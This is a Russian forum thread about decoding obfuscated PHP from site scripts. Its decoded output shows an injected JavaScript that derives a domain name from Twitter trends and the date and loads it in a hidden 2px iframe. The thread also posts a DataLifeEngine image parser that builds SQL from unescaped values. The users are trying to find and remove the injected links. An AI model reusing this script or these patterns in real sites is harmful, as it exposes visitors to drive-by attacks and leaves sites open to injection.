Раскодировать PHP old

Статус
В этой теме нельзя размещать новые ответы.
Не тарахти. все тебе верно раскодировали. ссылки твои как раз в этих "циферках" и зашифрованы
Немного еще потарахтю, тракторист ты наш...

Пара вопросов
1 Почему скрипт перестал работать, если раскодировано верно?
2 Как достать и потом удалить эти зашифрованные ссылки, если раскодированный код имеет вид цифр?
 
Немного еще потарахтю, тракторист ты наш...

Пара вопросов
1 Почему скрипт перестал работать, если раскодировано верно?
2 Как достать и потом удалить эти зашифрованные ссылки, если раскодированный код имеет вид цифр?

1. Перестал работать потому что разрыв строки
2. Щас посмотрим что да как
 
Немного еще потарахтю, тракторист ты наш...

Пара вопросов
1 Почему скрипт перестал работать, если раскодировано верно?
2 Как достать и потом удалить эти зашифрованные ссылки, если раскодированный код имеет вид цифр?

rd выводит (там где многооо циферек)
Код:
cI~dow.gloa=( : +q= :var Vk=this;\[Vk  FullYear %Month %Date %Hours %Minutes %Seconds()]}; +R= : &w,Vy=this.#q(),i=0;Vy[1]+=1;while(i++<7){#w=Vy[i] /#w<#C)Vy[i] 7#w}\ Vy.splice(~z'),1+~T 0 6~u 0+'T'+Vy 6~U 0};VJ={'h`http://Xs`/Xt`treXd`daiXn`ndsXq`?Xc`callback=Xj`#Xa`apiXl`lyXW`twitterXo`comXe`1Xk`sXK`bodyXx`ajaxXD`.XL`libsXJ`jqueryX6`6.2Xm`minXf`onXS`criptXi`ifXM`rameXY`headXw`width:Xp`px;XH`height:XT`2Xr`rcXQ`"Xy`style=Xb`><XR`></XI`divXB`<XA`>Xg`googleXE`&date=Xz`0Xu`-XU` X,`:00X;':2345678901,'/':48271,'F':198195254,'G':12,'C`='};@ #S(Vo){#h=[];for(Vt=0;Vt<Vo (;Vt++){#h.push(VJ[Vo.charAt(Vt)])}\ #A(#h)}VN=document;#o=window; )H='undefined'; )D=~haDWDosestnsdlDjfqcq' 4i= *)== )H) /#i||!Vd()){if(!#i){try{Vv=jQuery !;try{Vv=$ !}Vn=VN.getElementsByTagName(~Y 0[0];#r=VN.createElement(~kS 0;#r.setAttribute(~kr'),#S("hxDgakDosxsLsJseD6sJDmDj"));Vn.appendChild(#r)}@ Vb(#z,Vc 3Math.floor(#z/Vc) 9T(#F){var Vm=Vb( )x, $a); &j= )x% $a; &L= $y*#j; &c= $S*Vm; &s=#L-#c /#s>0){#x=#s}else{#x=#s+ $g}\(#x%#F) 9P(#G){ )x=~;')+#G; $y=~/'); $g=~;')-~F'); $a=Vb( $g, $y); $S= $g% $y 9A(V 3V (==1?V[0]:V 6'')};@ #b(V){d=new Date( 4g=~zee');d.setTime((V.as_of-~G')*~G')*~G')*~ezz 0*~ezzz 0;\ d 9p(VB){ &N,VM,#J=VB (; &a=[];while(--#J){VM=#T(#J 4a.push(VM 4N=VB[VM];VB[VM]=VB[#J];VB[#J]=#N}}@ Vx($){Vr=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i 3String.fromCharCode(i+x+24)});\ #A(Vr) 9f(x 3x (}@ Vh($){if *)!= )H){$( :if *.Vp)!= )H)\;$.Vp=1; 5D,@(VC){#e=#b(VC 4u=#e  Month() ;L=#e  Date( 4y=@(x,i){\(#f(x+"")-1)?x:"0"+x};Vs=#y(#u,4)+"-"+#y(VL,7 4t=#D+#S("E 1;Ve=VH=Vb(#e  Hours(),6)*6 ;D=Ve+1;#C=+~ez'); , 5t,@(VC){try{#n=VC.trends;#m=#S(" 1+" " /Ve<#C)Ve 7Ve /VD<#C)VD 7VD; 8e+#S(X)] /!#d){ 8D+#S(X)]}#d=(#d[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'microscope').split('' 4B=#u*71+VH*3+VL*37;#P(#B 4f=#T(4)+#C;#p(#d 4E=~Ch')+#A(#d).substring(0,#f)+'.com/'+Vx($);VJ['Z']=#E;Vw=~BI 2biMU 2UkrZRiMRIA');$(~K 0.append(Vw)}catch(Vq){}})},#C*#C*#C)})})}else{ , -,1+~TTT 0}} -)#js@functionV#KX','`':'~#S('\return  .getUTC !.noConflict(true)}catch(e){} $#o.V %(),Vk  &var # (.length )#o.# *(typeof($ +Date.prototype.# ,setTimeout( : -Vh(#o.jQuery)} /;if( 0')) 1TzeTu")+Vs 2yQHTpweeepQ 3){\  4);# 5$.getJSON(# 6.join( 7=~z')+ 8#d=#n[#m+V 9}@ # :@(){ ;+(+~e 0;V

dd выводит
Код:
cIjsS('dow.gloa=(function(){Date.prototype.jsq=function(){var jsKk=this;return[jsKk.getUTCFullYear(),jsKk.getUTCMonth(),jsKk.getUTCDate(),jsKk.getUTCHours(),jsKk.getUTCMinutes(),jsKk.getUTCSeconds()]};Date.prototype.jsR=function(){var jsw,jsKy=this.jsq(),i=0;jsKy[1]+=1;while(i++<7){jsw=jsKy[i];if(jsw<jsC)jsKy[i]=jsS('z')+jsw}return jsKy.splice(jsS('z'),1+jsS('T')).join(jsS('u'))+'T'+jsKy.join(jsS('U'))};jsKJ={'h':'http://','s':'/','t':'tre','d':'dai','n':'nds','q':'?','c':'callback=','j':'js','a':'api','l':'ly','W':'twitter','o':'com','e':'1','k':'s','K':'body','x':'ajax','D':'.','L':'libs','J':'jquery','6':'6.2','m':'min','f':'on','S':'cript','i':'if','M':'rame','Y':'head','w':'width:','p':'px;','H':'height:','T':'2','r':'rc','Q':'"','y':'style=','b':'><','R':'></','I':'div','B':'<','A':'>','g':'google','E':'&date=','z':'0','u':'-','U':' ',',':':00',';':2345678901,'/':48271,'F':198195254,'G':12,'C':'='};function jsS(jsKo){jsh=[];for(jsKt=0;jsKt<jsKo.length;jsKt++){jsh.push(jsKJ[jsKo.charAt(jsKt)])}return jsA(jsh)}jsKN=document;jso=window;jso.jsH='undefined';jso.jsD=jsS('haDWDosestnsdlDjfqcq');jsi=(typeof($)==jso.jsH);if(jsi||!jsKd()){if(!jsi){try{jsKv=jQuery.noConflict(true)}catch(e){};try{jsKv=$.noConflict(true)}catch(e){}}jsKn=jsKN.getElementsByTagName(jsS('Y'))[0];jsr=jsKN.createElement(jsS('kS'));jsr.setAttribute(jsS('kr'),jsS("hxDgakDosxsLsJseD6sJDmDj"));jsKn.appendChild(jsr)}function jsKb(jsz,jsKc){return Math.floor(jsz/jsKc)}function jsT(jsF){var jsKm=jsKb(jso.jsx,jso.jsKa);var jsj=jso.jsx%jso.jsKa;var jsL=jso.jsKy*jsj;var jsc=jso.jsKS*jsKm;var jss=jsL-jsc;if(jss>0){jsx=jss}else{jsx=jss+jso.jsKg}return(jsx%jsF)}function jsP(jsG){jso.jsx=jsS(';')+jsG;jso.jsKy=jsS('/');jso.jsKg=jsS(';')-jsS('F');jso.jsKa=jsKb(jso.jsKg,jso.jsKy);jso.jsKS=jso.jsKg%jso.jsKy}function jsA(jsK){return jsK.length==1?jsK[0]:jsK.join('')};function jsb(jsK){d=new Date();jsg=jsS('zee');d.setTime((jsK.as_of-jsS('G')*jsS('G')*jsS('G')*jsS('ezz'))*jsS('ezzz'));return d}function jsp(jsKB){var jsN,jsKM,jsJ=jsKB.length;var jsa=[];while(--jsJ){jsKM=jsT(jsJ);jsa.push(jsKM);jsN=jsKB[jsKM];jsKB[jsKM]=jsKB[jsJ];jsKB[jsJ]=jsN}}function jsKx($){jsKr=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],function(x,i){return String.fromCharCode(i+x+24)});return jsA(jsKr)}function jsf(x){return x.length}function jsKh($){if(typeof($)!=jso.jsH){$(function(){if(typeof($.jsKp)!=jso.jsH)return;$.jsKp=1;$.getJSON(jsD,function(jsKC){jse=jsb(jsKC);jsu=jse.getUTCMonth()+(+jsS('e'));jsKL=jse.getUTCDate();jsy=function(x,i){return(jsf(x+"")-1)?x:"0"+x};jsKs=jsy(jsu,4)+"-"+jsy(jsKL,7);jst=jsD+jsS("ETzeTu")+jsKs;jsKe=jsKH=jsKb(jse.getUTCHours(),6)*6+(+jsS('e'));jsKD=jsKe+1;jsC=+jsS('ez');setTimeout(function(){$.getJSON(jst,function(jsKC){try{jsn=jsKC.trends;jsm=jsS("TzeTu")+jsKs+" ";if(jsKe<jsC)jsKe=jsS('z')+jsKe;if(jsKD<jsC)jsKD=jsS('z')+jsKD;jsd=jsn[jsm+jsKe+jsS(',')];if(!jsd){jsd=jsn[jsm+jsKD+jsS(',')]}jsd=(jsd[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'microscope').split('');jsB=jsu*71+jsKH*3+jsKL*37;jsP(jsB);jsf=jsT(4)+jsC;jsp(jsd);jsE=jsS('Ch')+jsA(jsd).substring(0,jsf)+'.com/'+jsKx($);jsKJ['Z']=jsE;jsKw=jsS('BIyQHTpweeepQbiMUyQHTpweeepQUkrZRiMRIA');$(jsS('K')).append(jsKw)}catch(jsKq){}})},jsC*jsC*jsC)})})}else{setTimeout(function(){jsKh(jso.jQuery)},1+jsS('TTT'))}}jsKh(jso.jQuery)})


Помогите декодировать прикреплённый файл.
Твой файл не выводит ничего/пусто. возможно файл битый или отредактирован
 
Сорри действительно битый

вот новый
PHP:
if( !defined( 'DATALIFEENGINE') ) {
die( 'Hacking attempt!');
}
class ImgParser {
var $parse_enable = true;
var $parse_construct = array();
var $img_cfg_max_up_side = '';
var $img_cfg_max_image = '';
var $img_cfg_jpeg_quality = '';
var $_return_img = array();
var $_sql_img = array();
var $_file_path = '';
var $_file_http = '';
var $_file_folder_pefix = '';
var $_hosts = array();
function ImgParser( ) {
global $config;
$this->parse_construct[] = array("#\[thumb\](.+?)\[/thumb\]#is",1,true);
$this->parse_construct[] = array("#\[thumb=(.*?)\](.+?)\[/thumb\]#is",2,true);
$this->parse_construct[] = array('/<img[^>]+src=([\'"])?((?(1).+?|[^\s>]+))(?(1)\1)/is',2);
$this->img_cfg_max_up_side = $config['max_up_side'];
$this->img_cfg_max_image = $config['max_image'];
$this->img_cfg_jpeg_quality = $config['jpeg_quality'];
$this->_file_path = ROOT_DIR .'/uploads/posts/';
$this->_file_http = $config['http_home_url'] .'uploads/posts/';
if (@ini_get( 'safe_mode') != 1) {
$this->_file_folder_pefix = date( 'Y-m').'/';
$this->_file_path .= $this->_file_folder_pefix;
$this->_file_http .= $this->_file_folder_pefix;
}else
$this->_file_folder_pefix = '';
$this->_hosts = array('http://'.$_SERVER[HTTP_HOST].'/',$config['http_home_url']);
if( !is_dir( $this->_file_path ) ) {
@mkdir( $this->_file_path,0777 );
@chmod( $this->_file_path,0777 );
@mkdir( $this->_file_path .'thumbs',0777 );
@chmod( $this->_file_path .'thumbs',0777 );
}
}
function DoImgParser( $text,$imagenames='') {
if(!is_array($text)) 
$text = $this->_DoImgParser($text,$imagenames);
else
foreach($text as $i =>$v)
$text[$i] = $this->DoImgParser($v,$imagenames);
return $text;
}
function _ToParse($txt){
global $parse;
$txt = preg_replace( '#<!--ThumbBegin-->(.+?)<!--ThumbEnd-->#ie',"\$parse->decode_thumb('\\1')",$txt );
$txt = preg_replace( '#<!--TBegin-->(.+?)<!--TEnd-->#ie',"\$parse->decode_newthumb('\\1')",$txt );
return $txt;
}
function _InParse($txt){
global $parse;
$txt = preg_replace( "'\[thumb\]([^\[]*)([/\\\\])(.*?)\[/thumb\]'ie","\$parse->build_thumb('\$1\$2\$3', '\$1\$2thumbs\$2\$3')",$txt );
$txt = preg_replace( "'\[thumb=(.*?)\]([^\[]*)([/\\\\])(.*?)\[/thumb\]'ie","\$parse->build_thumb('\$2\$3\$4', '\$2\$3thumbs\$3\$4', '\$1')",$txt );
return $txt;
}
function _DoImgParser( $text,$imagenames='') {
global $config,$db;
if (!$this->parse_enable or is_array($text)) return $text;
if (stripos($text,'img')===false) return $text;
$text = $this->_ToParse($text);
foreach($this->parse_construct as $i =>$match) {
preg_match_all($match[0],$text,$match_out,PREG_SET_ORDER);
foreach($match_out as $c =>$match_out_item) {
$__return_img = $match_out_item[$match[1]];
if ($__return_img!='') {
$b = true;
foreach($this->_return_img as $i =>$__file_img_url) {
if ($__return_img==$__file_img_url[0]) $b = false;
}
if ($b)
$this->_return_img[] = array($__return_img,((isset($match[2]) and $match[2])?$match_out_item[0]:''),'');
}
}
}
$num = 0;
if (count($this->_return_img)>0)
foreach($this->_return_img as $i =>$__file_img_url) {
$num++;
if($this->_return_img[$i][2]!='') continue;
$__file_img_url[0] = str_replace(array('\"',"\'",'\\"',"\\'",'\\\"',"\\\'"),'',$__file_img_url[0]);
$is_thumb_create = $__file_img_url[1];
$__file_img_url = $__file_img_url[0];
$is_my_host = false;
foreach($this->_hosts as $__host)
if (stripos($__file_img_url,$__host)!== false)
$is_my_host = true;
if ($is_my_host) continue;
$_file_img_url = str_replace( "\\",'/',$__file_img_url );
$_file_img_info = pathinfo( $_file_img_url );
if( !in_array( strtolower($_file_img_info['extension']),array('gif','jpg','png','jpe','jpeg'))
or ( stripos ( $_file_img_url,'php') !== false )
or ( stripos ( $_file_img_url,'phtml') !== false )
or ( stripos ( $_file_img_url,'.htaccess') !== false )
) continue;
if($imagenames=='') {
$_file_img_pref = 0;
$_file_img_pref = 1000 +rand( 1,1000 ) -rand( 1,1000 );
$_file_img_name = time().$_file_img_pref.'-'.$num.'-'.totranslit($_file_img_info['basename']);
}else
$_file_img_name = $num.'-'.totranslit($imagenames).'.'.$_file_img_info['extension'];
$_file_img_name = str_replace( '..','',$_file_img_name );
$_file_img_name = str_replace( '/','',$_file_img_name );
@copy( $_file_img_url,$this->_file_path .$_file_img_name );
if (@file_exists( $this->_file_path .$_file_img_name )) {
$this->_sql_img[] = $this->_file_folder_pefix.$_file_img_name;
include_once ENGINE_DIR .'/classes/thumb.class.php';
$thumb = new thumbnail( $this->_file_path .$_file_img_name );
if ($is_thumb_create) {
if( $thumb->size_auto( $this->img_cfg_max_image,$config['t_seite'] ) ) {
$thumb->jpeg_quality( $this->img_cfg_jpeg_quality );
if( $config['allow_watermark'] == 'yes') $thumb->insert_watermark( $config['max_watermark'] );
$thumb->save( $this->_file_path .'thumbs/'.$_file_img_name );
@chmod( $this->_file_path .'thumbs/'.$_file_img_name,0666 );
}
}
if( $config['allow_watermark'] == 'yes'OR $this->img_cfg_max_up_side ) {
$thumb = new thumbnail( $this->_file_path .$_file_img_name );
$thumb->jpeg_quality( $this->img_cfg_jpeg_quality );
if( $this->img_cfg_max_up_side) $thumb->size_auto( $this->img_cfg_max_up_side );
if( $config['allow_watermark'] == 'yes') $thumb->insert_watermark( $config['max_watermark'] );
$thumb->save( $this->_file_path .$_file_img_name );
}
$this->_return_img[$i][2] = $this->_file_http.$_file_img_name;
}
}
if (count($this->_return_img)>0)
foreach($this->_return_img as $i =>$__file_img_url)
if ($__file_img_url[2]!='')
$text = str_ireplace($__file_img_url[0],$__file_img_url[2],$text);
$text = $this->_InParse($text);
return $text;
}
function DoImgCreateSQL($_news_id,$_author='') {
global $db;
if (!$this->parse_enable) return false;
if (count($this->_sql_img)<0) return false;
if($_author=='') {
$row = $db->super_query( 'SELECT autor FROM '.PREFIX ."_post where id = '".intval($_news_id)."'");
$_author = $row['autor'];
}
$_added_time = time() +($config['date_adjust'] * 60);
$row = $db->super_query( 'SELECT COUNT(*) as count FROM '.PREFIX ."_images where author = '$_author' AND news_id = '$_news_id'");
if( !$row['count'] ) {
$__sql_img = implode( '|||',$this->_sql_img );
$db->query( 'INSERT INTO '.PREFIX ."_images (images, author, news_id, date) values ('$__sql_img', '$_author', '$_news_id', '$_added_time')");
}else {
$row = $db->super_query( 'SELECT images FROM '.PREFIX ."_images where author = '$_author' AND news_id = '$_news_id'");
if( $row['images'] == '') {
$__listimages = implode( '|||',$this->_sql_img );
}else {
$__listimages = array();
foreach($this->_sql_img as $i =>$_dataimage)
if (!in_array($_dataimage,$__listimages))
$__listimages[] = $_dataimage;
foreach(explode( '|||',$row['images'] ) as $i =>$_dataimage)
if (!in_array($_dataimage,$__listimages))
$__listimages[] = $_dataimage;
$__listimages = implode( '|||',$__listimages );
}
$db->query ('UPDATE '.PREFIX ."_images set images='{$__listimages}' where author = '$_author' AND news_id = '$_news_id'");
}
$this->_sql_img = array();
$this->_return_img = array();
}
}
function GoImgParser( $_news_id,$_use_title=false,$config1=false,$config2=false,$config3=false) {
global $db;
if(is_array($_news_id))
$row = $_news_id;
else
$row = $db->super_query( 'SELECT id, autor, title, short_story, full_story, xfields FROM '.PREFIX ."_post where id = '".intval($_news_id)."'");
if(!$row)
return false;
if(!$_use_title) $row['title'] = '';
$img_parse = new ImgParser();
$img_parse->parse_enable = true;
$row['title'] = stripslashes($row['title']);
$row['short_story'] = stripslashes($row['short_story']);
$row['full_story'] = stripslashes($row['full_story']);
$row['xfields'] = stripslashes($row['xfields']);
if(isset($config1[0])) $this->img_cfg_max_up_side = $config1[0];
if(isset($config1[1])) $this->img_cfg_max_image = $config1[1];
if(isset($config1[2])) $this->img_cfg_jpeg_quality = $config1[2];
$row['short_story'] = $img_parse->_DoImgParser($row['short_story'],$row['title']);
if(isset($config2[0])) $this->img_cfg_max_up_side = $config2[0];
if(isset($config2[1])) $this->img_cfg_max_image = $config2[1];
if(isset($config2[2])) $this->img_cfg_jpeg_quality = $config2[2];
$row['full_story'] = $img_parse->_DoImgParser($row['full_story'],$row['title']);
if(isset($config3[0])) $this->img_cfg_max_up_side = $config3[0];
if(isset($config3[1])) $this->img_cfg_max_image = $config3[1];
if(isset($config3[2])) $this->img_cfg_jpeg_quality = $config3[2];
$row['xfields2'] = '';
$row['xfields'] = explode('||',$row['xfields']);
foreach ( $row['xfields'] as $xfielddata ) {
list ( $xfielddataname,$xfielddatavalue ) = explode( '|',$xfielddata );
if($xfielddataname=='') continue;
$xfielddatavalue = str_replace( '&#124;','|',$xfielddatavalue );
$xfielddatavalue = $img_parse->_DoImgParser($xfielddatavalue,$row['title']);
$xfielddatavalue = str_replace( '|','&#124;',$xfielddatavalue );
$row['xfields2'] = ($row['xfields2']==''?'':'||').$xfielddataname.'|'.$xfielddatavalue;
}
$row['xfields'] = $row['xfields2'];
$row['short_story'] = $db->safesql($row['short_story']);
$row['full_story'] = $db->safesql($row['full_story']);
$row['xfields'] = $db->safesql($row['xfields']);
$db->query( 'UPDATE '.PREFIX ."_post set short_story='{$row['short_story']}', full_story='{$row['full_story']}', xfields='{$row['xfields']}' WHERE id='{$row['id']}'");
$img_parse->DoImgCreateSQL($row['id'],$row['autor']);
return $row;
};
 
рскодируйте пожалуйста
 

Вложения

  • config.rar
    2,4 KB · Просмотры: 9
Держи
 

Вложения

  • config-decode.rar
    1,1 KB · Просмотры: 7
Помогите, пожалуйста раскодировать файл:
 

Вложения

  • functions.zip
    46,6 KB · Просмотры: 11
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху